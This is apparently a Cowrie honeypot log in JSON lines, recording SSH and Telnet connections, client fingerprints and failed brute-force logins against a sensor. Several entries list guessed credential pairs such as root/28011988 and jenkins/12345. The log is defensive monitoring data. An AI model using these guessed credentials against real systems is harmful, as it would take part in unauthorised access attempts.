{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:27.160866Z","src_ip":"103.173.227.57","session":"937844a7a3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.68320655822754,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:27.450713Z","src_ip":"152.42.224.71","session":"655d6c32d4bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.65731763839722,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:29.972707Z","src_ip":"152.42.224.71","session":"53dba714f475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45976,"dst_ip":"10.17.0.5","dst_port":23,"session":"6090a39ed212","protocol":"telnet","message":"New connection: 152.42.224.71:45976 (10.17.0.5:23) [session: 6090a39ed212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:31.730843Z"}
{"eventid":"cowrie.session.closed","duration":31.198707342147827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:32.264401Z","src_ip":"152.42.224.71","session":"5954df2f7867","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45980,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae07f0d63bd1","protocol":"telnet","message":"New connection: 152.42.224.71:45980 (10.17.0.5:23) [session: ae07f0d63bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:32.292432Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36756,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e4d2857f720","protocol":"ssh","message":"New connection: 31.40.204.166:36756 (159.203.135.109:22) [session: 6e4d2857f720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:32.987243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:32.991766Z","src_ip":"31.40.204.166","session":"6e4d2857f720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:33.119067Z","src_ip":"31.40.204.166","session":"6e4d2857f720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:33.820043Z","src_ip":"31.40.204.166","session":"6e4d2857f720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:35.003002Z","src_ip":"31.40.204.166","session":"6e4d2857f720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51394,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b21842a0cf7","protocol":"telnet","message":"New connection: 152.42.224.71:51394 (10.17.0.5:23) [session: 5b21842a0cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:40.276031Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34104,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b3357426b0","protocol":"ssh","message":"New connection: 31.40.204.166:34104 (159.203.135.109:22) [session: 74b3357426b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:44.987946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:45.000046Z","src_ip":"31.40.204.166","session":"74b3357426b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:45.120895Z","src_ip":"31.40.204.166","session":"74b3357426b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:45.721743Z","src_ip":"31.40.204.166","session":"74b3357426b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.11466884613037,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:46.317906Z","src_ip":"152.42.224.71","session":"4b2c211dbd8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:47.008612Z","src_ip":"31.40.204.166","session":"74b3357426b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55237531661987,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:51.209408Z","src_ip":"152.42.224.71","session":"6c0d90bef13c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":84.18603873252869,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:53.529740Z","src_ip":"152.42.224.71","session":"d7059bd1834f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":44949,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e9efb81e5b6","protocol":"ssh","message":"New connection: 179.176.210.17:44949 (10.17.0.5:22) [session: 6e9efb81e5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:53.907117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:53.912339Z","src_ip":"179.176.210.17","session":"6e9efb81e5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:54.058285Z","src_ip":"179.176.210.17","session":"6e9efb81e5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.606680393219,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:54.362914Z","src_ip":"152.42.224.71","session":"34f3d2dcc2f5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zgr","password":"zgr","message":"login attempt [zgr/zgr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:54.670845Z","src_ip":"179.176.210.17","session":"6e9efb81e5b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:55.820242Z","src_ip":"179.176.210.17","session":"6e9efb81e5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47374,"dst_ip":"159.203.135.109","dst_port":22,"session":"4640bade4fde","protocol":"ssh","message":"New connection: 31.40.204.166:47374 (159.203.135.109:22) [session: 4640bade4fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:56.083140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:56.096010Z","src_ip":"31.40.204.166","session":"4640bade4fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:56.220402Z","src_ip":"31.40.204.166","session":"4640bade4fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:56.891387Z","src_ip":"31.40.204.166","session":"4640bade4fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:58.207161Z","src_ip":"31.40.204.166","session":"4640bade4fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43830,"dst_ip":"10.17.0.5","dst_port":23,"session":"30624d7c70dc","protocol":"telnet","message":"New connection: 152.42.224.71:43830 (10.17.0.5:23) [session: 30624d7c70dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:39:59.509970Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43842,"dst_ip":"10.17.0.5","dst_port":23,"session":"56a8a4d0b15b","protocol":"telnet","message":"New connection: 152.42.224.71:43842 (10.17.0.5:23) [session: 56a8a4d0b15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:00.862204Z"}
{"eventid":"cowrie.session.closed","duration":21.759775161743164,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:02.035665Z","src_ip":"152.42.224.71","session":"5b21842a0cf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55664,"dst_ip":"159.203.135.109","dst_port":22,"session":"f20572d1ef8a","protocol":"ssh","message":"New connection: 31.40.204.166:55664 (159.203.135.109:22) [session: f20572d1ef8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:08.190067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:08.197792Z","src_ip":"31.40.204.166","session":"f20572d1ef8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:08.391017Z","src_ip":"31.40.204.166","session":"f20572d1ef8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:08.815195Z","src_ip":"31.40.204.166","session":"f20572d1ef8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.28186368942261,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:09.012697Z","src_ip":"152.42.224.71","session":"6090a39ed212","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:10.003173Z","src_ip":"31.40.204.166","session":"f20572d1ef8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.464343309402466,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:10.983183Z","src_ip":"152.42.224.71","session":"26bd9721dbaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50568,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d6bed643bf3","protocol":"telnet","message":"New connection: 152.42.224.71:50568 (10.17.0.5:23) [session: 8d6bed643bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:11.709200Z"}
{"eventid":"cowrie.session.closed","duration":48.782495975494385,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:12.124564Z","src_ip":"152.42.224.71","session":"96f5258eac6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50580,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b99bdf7c89a","protocol":"telnet","message":"New connection: 152.42.224.71:50580 (10.17.0.5:23) [session: 4b99bdf7c89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:15.335384Z"}
{"eventid":"cowrie.session.closed","duration":111.93630719184875,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:17.242351Z","src_ip":"152.42.224.71","session":"f07f8133fcc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36194,"dst_ip":"159.203.135.109","dst_port":22,"session":"a854bae7fed1","protocol":"ssh","message":"New connection: 31.40.204.166:36194 (159.203.135.109:22) [session: a854bae7fed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:20.283012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:20.288026Z","src_ip":"31.40.204.166","session":"a854bae7fed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:20.422606Z","src_ip":"31.40.204.166","session":"a854bae7fed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:20.995883Z","src_ip":"31.40.204.166","session":"a854bae7fed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35032,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4aca8edc35","protocol":"telnet","message":"New connection: 152.42.224.71:35032 (10.17.0.5:23) [session: ef4aca8edc35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:21.445694Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:22.284289Z","src_ip":"31.40.204.166","session":"a854bae7fed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35040,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94d72aa51af","protocol":"telnet","message":"New connection: 152.42.224.71:35040 (10.17.0.5:23) [session: e94d72aa51af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:26.770984Z"}
{"eventid":"cowrie.session.closed","duration":120.00161123275757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:26.826950Z","src_ip":"152.42.224.71","session":"330a5c9844b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51752,"dst_ip":"10.17.0.5","dst_port":23,"session":"18d87b091ea6","protocol":"telnet","message":"New connection: 152.42.224.71:51752 (10.17.0.5:23) [session: 18d87b091ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:28.823022Z"}
{"eventid":"cowrie.session.closed","duration":29.805874347686768,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:29.315703Z","src_ip":"152.42.224.71","session":"30624d7c70dc","protocol":"telnet"}
